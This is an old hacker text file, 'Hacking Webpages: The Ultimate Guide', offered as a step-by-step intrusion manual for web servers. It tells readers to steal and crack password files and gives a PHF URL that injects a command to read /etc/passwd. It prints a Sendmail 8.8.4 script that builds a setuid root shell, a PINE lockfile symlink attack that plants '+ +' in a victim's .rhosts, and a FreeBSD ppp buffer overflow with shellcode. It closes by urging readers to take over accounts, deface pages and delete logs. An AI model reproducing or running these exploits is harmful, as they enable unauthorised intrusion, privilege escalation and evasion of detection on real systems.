Hacking Webpages
The
Ultimate GuideBy Virtual Circuit and Psychotic
Well Psychotic wrote one of the most helpful unix text files in
cyberspace but with the mail that we recieved
after the release of our famous 36 page Unix Bible
we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic with affliation with thelord crew
is proud to release, "Hacking Webpages With a
few Other Techniques." We will discuss a few various ways of hacking webpages
and getting root. We are also going to interview and question other REAL hackers on the subjects.
Getting the Password File Through FTP
Ok well
one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is the part
that gives you root. That's the main part of the file.
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
This is another example of
a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password.
This causes problems for the password cracker and dictionary maker(both explained later in the text).
Below is another example of a shadowed password file:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
Shadowed password files have an "x" in the place of a password or sometimes they are
disguised as an * as well.
Now that you know a little more about what the actual password file looks like you should be
able to identify a normal encrypted pw from a shadowed pw file. We can now go on to
talk about how to crack it.
Cracking a password file isn't as complicated as it would seem,
although the files vary from system to system.
1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker.
Although it's nearly impossible to find a good cracker there are a few ok ones out
there. I recomend that you look for Cracker Jack,
John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file...
When you start a cracking prog you will be asked
to find the the password file. That's where a
dictionary maker comes in. You can download one from nearly every hacker page on the net.
A
dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) .
We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy,
"The Perfect Drug." As far as we know it will be one of the largest
in circulation. 3. You then start up the cracker
and follow the directions that it gives you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that everybody already
knows it and most servers have already found out about the bug and fixed it.
But since I have been asked questions about the phf I decided
to include it.
The phf technique is by far the easiest way of getting a password
file(although it doesn't work 95% of the time).
But to do the phf all you do is open a browser
and type in the following link:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain.
So if you were trying to get the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
Telnet and Exploits
Well exploits are the best way of hacking webpages but they are
also more complicated then hacking through ftp or using the phf. Before you can setup
an exploit you must first have a telnet proggie,
there are many different clients you can just do a netsearch and find everything you need.It’s best to get an account with your target(if possible) and view the glitches
from the inside out. Exploits expose errors or
bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately.
I’m going to list a few below but the list of exploits is endless.
This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{execl("/usr/lib/sendmail","/tmp/smtpd",0);}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[
]*"// |cut -d" " -f1`rm /tmp/spawnfish.c
/tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.csleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
and now on to another exploit. I’m going to display the pine exploit
through linux. By watching the process table with ps to see which users are running
PINE, one
can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table
once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting
the respective lockfile.
Creating
a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file
with PINE's process id as its contents. One
may now simply do an echo "+ +" > /tmp/.hamors_lockfile,
then rm /tmp/.hamors_lockfile.
This was writen by Sean B. Hamor…For this example, hamors
is the victim while catluvr is the attacker:
hamors (21 19:04) litterbox:~> pine
catluvr (6 19:06) litterbox:~>
ps -aux | grep pinecatluvr 1739 0.0 1.8 100 356 pp3
S 19:07 0:00 grep pinehamors 1732 0.8 5.7
249 1104 pp2 S 19:05 0:00 pine
catluvr
(7 19:07) litterbox:~> ls -al /tmp/ | grep hamors- -rw-rw-rw- 1
hamors elite
4 Aug 26 19:05 .302.f5a4
catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8
100 356 pp3 S 19:08 0:00 grep pine
catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts
/tmp/.302.f5a4
hamors (23 19:09) litterbox:~>
pine
catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1
226 992 pp2 S 19:10 0:00 pine
catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr
(14 19:12) litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
now on to another one, this will be the last one that I’m going to
show. Exploitation script for the ppp vulnerbility as described by
no one to date, this is NOT FreeBSD-SA-96:15. Works on
FreeBSD as tested. Mess with the numbers if it doesnt work. This
is how you set it up:
#include <stdio.h>
#include <stdlib.h>
#include
<unistd.h>
#define BUFFER_SIZE
156 /* size of the bufer to overflow */
#define OFFSET
-290 /* number of bytes to jump after the startof the buffer */
long get_esp(void) { __asm__("movl %esp,%eax\n"); }
main(int
argc, char *argv[]){char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
/* 16 bytes */"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
/* 16 bytes */"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /*
15 bytes, 57 total */
int i,j;
buf
= malloc(4096);
/* fill start of bufer with nops */
i = BUFFER_SIZE-strlen(execshell);
memset(buf,
0x90, i);ptr = buf + i;
/* place exploit code into the buffer */
for(i =
0; i < strlen(execshell); i++)*ptr++
= execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
setenv("HOME",
buf, 1);
execl("/usr/sbin/ppp", "ppp", NULL);}
Now that
you’ve gotten root "what’s next?"
Well the choice is up to you but I would recommend changing the password before you delete or c
hange anything.
To change their password all you have to do is login via telnet and login with your new account.
Then
you just type: passwd and it will ask you for the old password first followed by the new one.
Now only you will have the new pw and that should last for a while
you can now upload you pages, delete all the logs and just plain
do your worstJ Psychotic writes our own exploits
and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.
